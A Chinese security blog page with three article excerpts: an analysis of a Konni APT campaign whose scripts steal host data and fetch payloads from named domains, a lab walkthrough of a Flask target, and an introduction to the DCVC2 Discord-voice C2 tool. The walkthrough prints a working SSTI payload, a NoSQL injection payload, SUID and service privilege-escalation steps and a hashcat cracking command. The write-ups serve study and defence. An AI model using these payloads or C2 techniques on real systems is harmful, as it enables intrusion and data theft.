ZIP文件内各文件之间的调用关系如下图所示:   图 2‑7调用关系图 start.vbs,该文件用于执行78788188.bat文件。   图 2‑8 Start.vbs文件 78788188.bat,执行流程如下: 判断是否存在bat,如果存在23965250.bat,会将Start.vbs添加至注册表RUN中实现开机自启动,执行23965250.bat、27355145.bat后删除23965250.bat文件。如果不存在23965250.bat,判断是否存在upok.txt文件,如果upok.txt存在,执行步骤2);如果upok.txt不存在,执行27355145.bat,该文件用于收集本地数据并回传至服务端,然后执行步骤2)。 判断是否存在txt,如果存在pakistan.txt,删除该文件并退出;如果不存在pakistan.txt,执行步骤3)。 判断是否存在bat,如果存在temprun.bat,删除该文件,执行步骤4);如果不存在temprun.bat,直接执行步骤4)。 执行bat,该文件用于下载文件。传递参数http[:]//overseeby.com/list.php?f=%COMPUTERNAME%.txt、%~dp0SbJAZ.cab、1,下载SbJAZ.cab文件。如果第三个参数为0,会进行加密传输。以上操作完成后,执行步骤5)。 解压cab到当前路径下,而后删除SbJAZ.cab并执行temprun.bat。以上操作完成后,执行步骤6)。 等待57秒,再次判断是否存在txt,如果不存在pakistan.txt,跳到步骤3)继续执行。若存在pakistan.txt,删除该文件并退出。 图 2‑9 78788188.bat文件 23965250.bat,执行流程如下: 调用bat,发送http请求,下载97157.zip文件,请求的网址为https[:]//naver.cloudfiles001.com/v2/read/get.php?hs=ln3&fj=bv8702。然后判断下载是否成功,如果97157.zip文件存在,执行步骤2)。如果该文件不存在,退出。 获取压缩包中的第一个条目的名字,如果该名字存在,以字符a作为密码解压zip,而后删除压缩包,执行步骤3);若该名字不存在,直接删除压缩包并退出。 判断压缩包中的第一个条目对应的文件是否存在。若存在,使用exe执行该文件的Run导出函数,等待60s;若不存在,等待60s,退出。此次操作将会循环执行三次。 图 2‑10 23965250.bat文件   27355145.bat,执行流程如下: 获取C:\Users\%username%目录下downloads、documents、desktop以及C:\Program Files中的文件及文件夹列表,并将其输出到bat文件所在目录对应的txt、cuserdocu.txt、cuserdesk.txt、cprot.txt中。然后通过nslookup命令获取myip.opendns.com、resolver1.opendns.com的域名解析地址,通过tasklist和systeminfo获取进程列表和系统信息,将他们分别输出到对应的ipinfo.txt、tsklt.txt、systeminfo.txt中,然后执行步骤2)。 等待5秒后,调用bat,将其加密处理后上传到http[:]//overseeby.com/upload.php地址。 图 2‑11 27355145.bat 28499076.bat,该文件内部存在一个自定义的加密函数,获取当前时间作为密钥。该文件的主要功能为加密27355145.bat生成的存放信息的txt文件,并将传入的带有计算机名称的文件名在加密后,与key和加密后的txt文件一同上传到指定的URL。在上传成功后会删除txt文件并在当前目录下新建一个upok.txt文件。 图 2‑12 28499076.bat 60937671.bat,主要功能用于下载文件,可根据传递的第三个参数来选择是否进行加密传输。若选择加密传输,则会获取当前时间作为密钥,并将其作为参数添加到URL中传递至服务端。 图 2‑13 60937671.bat 3 关联归因 根据初始压缩包内的诱饵文档以及脚本代码的相似性进行关联,发现了几个同为税务主题的压缩包,压缩包内同样包含LNK文件,且LNK文件中的掩饰文档与ZIP数据相连。将包含在LNK文件内的ZIP内容提取出来,发现内部脚本的功能大致相同,部分文件在传输加密、变量命名和文件命名上存在不同。 对关联到的所有文件进行分析,压缩包内的恶意LNK文件及对应域名列表如下所示: 表3-1 LNK文件对应的hash、文件名及域名列表 其中最早发现的两个文件的上传、下载功能的脚本文件内并无加密函数。 图 3‑1 早期攻击活动中用于文件上传、下载的脚本 图 3‑2 之后捕获到的攻击活动中用于文件上传、下载的脚本 此次捕获到的样本中,存在从伪装成韩国Naver公司相关的URL中下载文件的行为,具体URL如下表所示: 表3-2 URL列表 归因分析: 诱饵文件类型均为HWP文件,为韩国常用的文档格式。诱饵文件的文件名与内容所用语言均为韩语,且诱饵文档内容为税务相关内容,与以往Konni组织的攻击目标相符[1]。 在代码层面,仍沿用之前的脚本模式来进行文件的调用、初步的信息收集、文件的上传与下载,代码结构及内容与以往攻击活动相似程度较高,部分内容存在重叠。 图 3‑3 左侧为本次攻击活动中的信息收集脚本,右侧为以往攻击活动中的信息收集脚本[2]   图 3‑4 左侧为本次攻击活动中用作文件调用和下载的脚本,右侧为以往攻击活动中用作文件调用和下载的脚本[2] 4 威胁框架映射 本次捕获到的Konni组织疑似针对韩国企业的攻击活动共涉及ATT&CK框架中9个阶段的15个技术点,具体行为描述如下表: 表4-1 本次Konni组织攻击活动的技术行为描述表 将涉及到的威胁行为技术点映射到ATT&CK框架如下图所示: 图 4‑1 本次Konni组织攻击活动对应的ATT&CK映射图 5 总结 根据捕获的样本内容并结合已有情报来看,Konni组织从今年年初开始便以采用税务相关主题的诱饵进行钓鱼攻击。该组织继续沿用以往的LNK攻击手法,将恶意脚本文件添加到压缩包内并嵌入LNK文件中,待受害者打开LNK文件,执行恶意脚本文件,下载后续载荷。相比于早些时间捕获到的样本,差别主要存在于脚本中新增的数据传输前的加密功能。 IoCs 参考资料 세무조사관련정상한글문서로위장한악성링크파일유포 https://www.boannews.com/media/view.asp?idx=113686 코니(Konni) APT 조직, HWP 취약점을이용한 'Coin Plan' 작전감행 https://blog.alyac.co.kr/2543 ...

    2023-08-13 213
  • 记一次flask框架环境综合渗透测试

    PART.01 登入过程 1. 访问靶场地址http://101.43.22.226/?name=2023,框架为Flask。 2. 测试存在ssti注入。 3. 直接执行以下命令。 http://101.43.22.226/?name={% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{b['eval'('__import__("os").popen("whoami").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} 4. 测试目标可以出网,直接执行命令反弹shell和上线msf。 5. 对当前机器进行信息搜集,存在双网卡172.25.1.3和10.10.10.100。 6. 添加路由。 7.对10.10.10.0段存活主机进行扫描, 8. 存活主机有10.10.10.101、10.10.10.102、10.10.10.200 和10.10.10.201。其中,200,201这两台机器开放了445端口,在此探测是否存在永恒之蓝漏洞。 9. 对200这台机器进行漏洞利用。由于不确定200这台机器是否出网,所以payload要设置成正向shell,最后成功获取到这台机器的权限。 10. 因为10.10.10.100这台机器是可以出网的,将它作为我们的跳板机。远程下载frp,搭建socks5代理。 11. 对10.10.10.101进行端口扫描,开放22和80端口,访问80的web服务。 12. 测试存在文件,文件包含漏洞(不存在远程文件包含)。 13. 经过fuzz读取到配置文件config.php,从中获取到数据库的账户密码。 14. base64解码后的数据库用户名为catcat,密码为wannatobeacat。但是由于数据库还是不能连接,因此想到了密码复用——使用ssh,登录上catcat的账户。 15. 当前用户权限较低,尝试提权。使用pspy扫描后发现,root用户每分钟会执行一次backup.sh,且当前用户catcat可以修改此文件。 16. 在backup.sh文件中添加 chmod 4475 /bin/bash,执行bash -p后成功提权。 17. 对10.10.10.102机器进行扫描,发现开放了22和5000端口。访问5000后发现,其是web服务。 18. 存在用户名枚举,但是未爆破出密码,sql注入也不存在。 19. 这里发现用的框架为Express。通常情况下,用的是mongdb数据库,尝试nosql注入。参考链接如下: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#exploits 20. 修改payload。 注意:需改动未Content-Type: application/json。 {"user": {"$ne": null}, "password": {"$ne": null}} 21.成功进入后台。 PART.02 渗透过程 1. 新建文章。 2. 提交后服务报错,从报错信息中获取到了网站的物理路径。 3. 存在上传功能点测试,返回非法的XML格式,并且发现数据库的请求头也是/articles/xml。查看是否存在xxe漏洞。 4. 尝试读取/etc/passwd文件,成功读取后确定存在xxe漏洞。 5. 就刚才获取到的网站物理路径,读取配置文件server.js的内容。 6. 执行命令反弹shell到主机10.10.10.100。 7. 发现当前用户可以凭借root权限执行/bin/check文件。 8. 查看/bin/check文件,引用os.py。 9. 此处直接修改os.py文件内容,以sudo的权限执行check文件即可提权(由于此处获取交互式shell就会系统停顿,所以没有继续提权)。 10. 主机10.10.10.201开放了比较多的端口,首先访问80端口,但其web服务需要进行验证,利用弱口令admin,admin成功进入后台。 11. 存在文件上传功能点,但是无论上传任何格式都能够成功返回,只是无法找到上传的路径。 12.此处提示样本会上传到文件共享服务器,测试团队将手动审查上传的内容,构造SCF文件以索取ntlm hash,并将文件上传到目标服务器。 13. 在跳板机上安装Respondr,并对其进行监听。 14. 成功抓取到NTLMv2 Hash。 15. 使用hashcat破解。 hashcat -m 5600 hash.txt rockyou.txt 16. 破解出密码为tobyallison31。此外,目标机器开放了5985端口,使用evil-winrm进行连接。 17. 生成正向木马bind.exe,上传到该目标机器后获取到meterpreter。 18. 查看powershell的历史记录,发现他下载并开启了Goservice服务,我们可以替换文件来进行提权。 19. 暂时停止服务。 20. 将bind.exe上传到目录,并重命名为service.exe。 21. 重新启动GoService服务。 22. 成功返回一个meterpreter且权限为system权限。 ...

    2023-08-13 189
  • 如何使用DCVC2实现C2控制命令和数据的隐蔽传输

    关于DCVC2 DCVC2是一款功能强大的数据传输工具,该工具可以通过语音信道并使用RTP分组来传输所有数据,而且整个过程不会在文字聊天中留下操作痕迹。 该工具能够与多种常见的操作系统兼容,并且能够利用Discord的语音通道发送数据以实现命令和控制操作。该工具基于DiscordGo实现其功能,且完全通过实时协议(RTP)运行,是一款基于命令行运行的工具,这也就意味着所有的操作都需要通过Windows/Linux/OSX上的终端来执行。 工具要求 1、一个Discord账号; 2、一台Discord服务器; 3、支持在设置中将语音聊天速度提高到96kbps; 4、两个Discord bot(需要给bot提供管理员权限:【文档】); 工具下载 由于该工具基于Go语言开发,因此我们首先需要在本地设备上安装并配置好Go语言环境。 接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/3NailsInfoSec/DCVC2.git 然后切换到项目目录中,使用go build命令完成服务器端和代理端代码编译: cd DCVC2 go mod download   go build server.go   go build agent.go 工具使用 运行完DCVC2的服务器端和代理端之后,你将会看到两端都加入了指定的语音聊天频道: Shell命令执行: cmd> whoami         desktop-3kjj3kj\sm00v 除了基本的Shell用法之外,DCVC2还添加了两个硬编码的附加项: cmd> screenshot     screenshotting..............................................       &       cmd> download   download file path>C:\Users\sm00v\Downloads\34954477.jpg   ............................................................ 项目地址 DCVC2:【GitHub传送门】 参考资料 https://stealthbits.com/stealthaudit-for-active-directory-product/(https://github.com/bwmarrin/discordgo) https://www.3nailsinfosec.com/post/using-discord-s-voice-channel-for-c2-operations https://discordpy.readthedocs.io/en/stable/discord.html https://twitter.com/sm00v https://github.com/sm00v  ...

    2023-08-11 224

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注